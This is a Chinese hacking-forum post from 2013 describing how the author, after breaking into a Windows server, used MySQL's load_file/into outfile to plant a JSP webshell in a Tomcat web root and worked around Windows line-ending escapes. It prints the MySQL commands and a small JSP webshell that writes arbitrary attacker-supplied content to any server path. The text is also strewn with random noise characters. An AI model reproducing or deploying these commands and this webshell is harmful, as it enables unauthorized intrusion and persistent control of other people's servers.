找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2856|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
8 [- `0 z% O+ ~. N
2 n# o! _1 c( n; M首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
  u, A( t8 r1 o( n: `安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)& e& F5 f& z' r# W
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
$ Z3 d8 Y/ o8 C* p4 f1 show variables like '%plugin%';, K: z3 A  [# s, h+ D
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功) x6 F3 u$ b% p: S
创建自定义函数似乎被拦截,一直失败。! f/ q$ Z0 i) X: _
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限7 z9 b& b7 O  M& P/ t" O
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
# F4 x  t+ A/ Q$ N, _' {用mysql执行语句:& c6 m7 W/ \: G
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'1 S2 S8 X5 ]" T9 _# j1 ~, P( y
2 复制代码4 ?; d2 J- ?1 }# Y, P+ O
后成功。
2 ~4 }8 S& o+ [+ {但是访问后得到如下提示:
8 D* y1 J4 w% g3 U/ i​500页面
7 t) o" E' q4 P* G1 g6 J9 \2 h! j
1 D: E2 ]9 t- ~" e5 f
明显是MySQL的Win下版本自动添加转义符\n\r了, |# @  a- Z# p3 k6 y2 m
这样导致程序运行的悲剧。8 h9 x6 L8 H' c: n, o. L- b1 k# D
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。4 a- ^! C+ o8 E) `2 a9 k, s+ K+ V
最后弄了这么个小脚本:
- K4 r, y8 m; l01 <%@ page language="java" pageEncoding="gbk"%>
0 |7 x  P  e# w! y  V( h02 <jsp:directive.page import="java.io.File"/>
0 y1 w) I5 I0 t03 <jsp:directive.page import="java.io.OutputStream"/>
$ p* h5 H6 @! S* ^  \04 <jsp:directive.page import="java.io.FileOutputStream"/>$ w; p4 [# m7 @4 E9 x  _
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>9 n( E. h" c: t) J
06 error www.2cto.com
$ y7 C: `  @+ J* x& C  w07 <%}}if(i==0){%>+ ]1 \$ Z; m9 [# O6 w
08 ok
, ~: t: I% L- p4 p9 `) V09 <%}%>
! ?9 v2 q# r0 D& Q' o10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
" b! |8 c; t, M  G就可以避免转义符让JSP的马儿运行500错误了。0 K" q7 T6 w1 a8 D0 I9 T9 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表